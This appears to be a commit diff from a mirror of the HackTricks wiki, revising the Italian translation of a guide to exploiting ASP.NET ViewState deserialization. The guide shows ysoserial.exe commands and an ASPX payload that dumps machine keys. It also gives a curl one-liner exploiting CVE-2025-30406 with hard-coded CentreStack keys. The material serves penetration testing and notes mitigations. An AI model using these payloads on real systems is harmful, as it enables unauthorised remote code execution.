mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
dd808bae5a
commit
3e58c949ba
@ -24,7 +24,7 @@ L'immagine è una tabella che dettaglia diverse configurazioni per ViewState in
|
||||
1. Per **qualsiasi versione di .NET**, quando sia MAC che Crittografia sono disabilitati, non è richiesto un MachineKey, e quindi non c'è un metodo applicabile per identificarlo.
|
||||
2. Per **versioni inferiori a 4.5**, se il MAC è abilitato ma la Crittografia non lo è, è richiesto un MachineKey. Il metodo per identificare il MachineKey è chiamato "Blacklist3r."
|
||||
3. Per **versioni inferiori a 4.5**, indipendentemente dal fatto che il MAC sia abilitato o disabilitato, se la Crittografia è abilitata, è necessario un MachineKey. Identificare il MachineKey è un compito per "Blacklist3r - Sviluppo Futuro."
|
||||
4. Per **versioni 4.5 e superiori**, tutte le combinazioni di MAC e Crittografia (sia che entrambi siano true, o uno sia true e l'altro false) richiedono un MachineKey. Il MachineKey può essere identificato utilizzando "Blacklist3r."
|
||||
4. Per **versioni 4.5 e superiori**, tutte le combinazioni di MAC e Crittografia (che siano entrambe true, o una sia true e l'altra false) richiedono un MachineKey. Il MachineKey può essere identificato utilizzando "Blacklist3r."
|
||||
|
||||
### Caso di Test: 1 – EnableViewStateMac=false e viewStateEncryptionMode=false
|
||||
|
||||
@ -41,7 +41,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
### Test case 1.5 – Come nel Test case 1 ma il cookie ViewState non viene inviato dal server
|
||||
|
||||
Gli sviluppatori possono **rimuovere ViewState** affinché non diventi parte di una richiesta HTTP (l'utente non riceverà questo cookie).\
|
||||
Si potrebbe assumere che se **ViewState** non è **presente**, la loro implementazione è **sicura** da potenziali vulnerabilità derivanti dalla deserializzazione di ViewState.\
|
||||
Si potrebbe assumere che se **ViewState** è **assente**, la loro implementazione è **sicura** da potenziali vulnerabilità derivanti dalla deserializzazione di ViewState.\
|
||||
Tuttavia, non è così. Se **aggiungiamo il parametro ViewState** al corpo della richiesta e inviamo il nostro payload serializzato creato utilizzando ysoserial, saremo comunque in grado di ottenere **l'esecuzione di codice** come mostrato nel **Caso 1**.
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
@ -50,7 +50,7 @@ Per **abilitare ViewState MAC** per una **pagina specifica** dobbiamo apportare
|
||||
```bash
|
||||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||||
```
|
||||
Possiamo farlo anche per l'applicazione **complessiva** impostandolo nel file **web.config** come mostrato di seguito:
|
||||
Possiamo farlo anche per l'**applicazione** **complessiva** impostandolo nel file **web.config** come mostrato di seguito:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<configuration>
|
||||
@ -102,7 +102,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
|
||||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||||
```
|
||||
Nei casi in cui il parametro `_VIEWSTATEGENERATOR` **non viene inviato** dal server, **non** è necessario **fornire** il parametro `--generator` **ma questi**:
|
||||
Nei casi in cui il parametro `_VIEWSTATEGENERATOR` **non viene inviato** dal server, **non** è necessario **fornire** il parametro `--generator`, **ma questi**:
|
||||
```bash
|
||||
--apppath="/" --path="/hello.aspx"
|
||||
```
|
||||
@ -138,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
|
||||
--IISDirPath = {Directory path of website in IIS}
|
||||
--TargetPagePath = {Target page path in application}
|
||||
```
|
||||
Per una descrizione più dettagliata di IISDirPath e TargetPagePath [fare riferimento qui](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
Per una descrizione più dettagliata di IISDirPath e TargetPagePath [riferisciti qui](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
||||
Oppure, con [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (con un valore generatore):
|
||||
```bash
|
||||
@ -172,7 +172,8 @@ Controlla per [ulteriori informazioni qui](<https://github.com/carlospolop/hackt
|
||||
|
||||
### Dumping delle Chiavi della Macchina ASP.NET tramite Reflection (SharPyShell/SharePoint ToolShell)
|
||||
|
||||
Gli attaccanti che sono in grado di **caricare o eseguire codice ASPX arbitrario** all'interno della radice web target possono recuperare direttamente le chiavi segrete che proteggono `__VIEWSTATE` invece di forzarle. Un payload minimo che rivela le chiavi sfrutta le classi interne .NET tramite reflection:
|
||||
Gli attaccanti che sono in grado di **caricare o eseguire codice ASPX arbitrario** all'interno della radice web target possono recuperare direttamente le chiavi segrete che proteggono `__VIEWSTATE` invece di forzarle.
|
||||
Un payload minimo che rivela le chiavi sfrutta le classi interne .NET tramite reflection:
|
||||
```csharp
|
||||
<%@ Import Namespace="System.Web.Configuration" %>
|
||||
<%@ Import Namespace="System.Reflection" %>
|
||||
@ -202,22 +203,20 @@ Questo **primitive di key-exfiltration** è stato massicciamente sfruttato contr
|
||||
|
||||
## Scenari di sfruttamento nel mondo reale 2024-2025 e chiavi macchina hard-coded
|
||||
|
||||
### Ondata di “chiavi macchina pubblicamente divulgate” di Microsoft (Dic 2024 – Feb 2025)
|
||||
Microsoft Threat Intelligence ha segnalato sfruttamenti di massa di siti ASP.NET in cui il *machineKey* era stato precedentemente leakato su fonti pubbliche (GitHub gists, post di blog, siti di paste). Gli avversari hanno enumerato queste chiavi e generato gadget validi `__VIEWSTATE` con i nuovi flag `ysoserial.net` 1.41 `--minify` e `--islegacy` per eludere i limiti di lunghezza del WAF:
|
||||
### Ondata di “chiavi macchina divulgate pubblicamente” di Microsoft (Dic 2024 – Feb 2025)
|
||||
Microsoft Threat Intelligence ha segnalato sfruttamenti di massa di siti ASP.NET dove il *machineKey* era stato precedentemente leakato su fonti pubbliche (gists di GitHub, post di blog, siti di paste). Gli avversari hanno enumerato queste chiavi e generato gadget `__VIEWSTATE` validi con i nuovi flag `ysoserial.net` 1.41 `--minify` e `--islegacy` per eludere i limiti di lunghezza del WAF:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
|
||||
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
|
||||
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
|
||||
--generator=<VIEWSTATEGEN> --minify
|
||||
```
|
||||
Ruotare le chiavi statiche o passare a chiavi *AutoGenerate* in Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) mitiga questa classe di attacchi. {{#ref}}
|
||||
|
||||
{{#endref}}
|
||||
Ruotare le chiavi statiche o passare a chiavi *AutoGenerate* in Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) mitiga questa classe di attacchi.
|
||||
|
||||
### CVE-2025-30406 – Chiavi hard-coded di Gladinet CentreStack / Triofox
|
||||
Kudelski Security ha scoperto che diverse versioni di CentreStack / Triofox sono state distribuite con valori `machineKey` identici, consentendo l'esecuzione remota di codice non autenticato tramite la falsificazione di ViewState (CVE-2025-30406).
|
||||
Kudelski Security ha scoperto che più versioni di CentreStack / Triofox sono state distribuite con valori `machineKey` identici, consentendo l'esecuzione remota di codice non autenticato tramite forgia di ViewState (CVE-2025-30406).
|
||||
|
||||
Exploit in una riga:
|
||||
One-liner exploit:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
|
||||
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
|
||||
@ -226,7 +225,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
|
||||
--decryptionalg=AES --generator=24D41AAB --minify \
|
||||
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
|
||||
```
|
||||
Fissato in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – aggiorna o sostituisci immediatamente le chiavi. {{#ref}}
|
||||
Fissato in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – aggiorna o sostituisci le chiavi immediatamente. {{#ref}}
|
||||
|
||||
|
||||
{{#endref}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user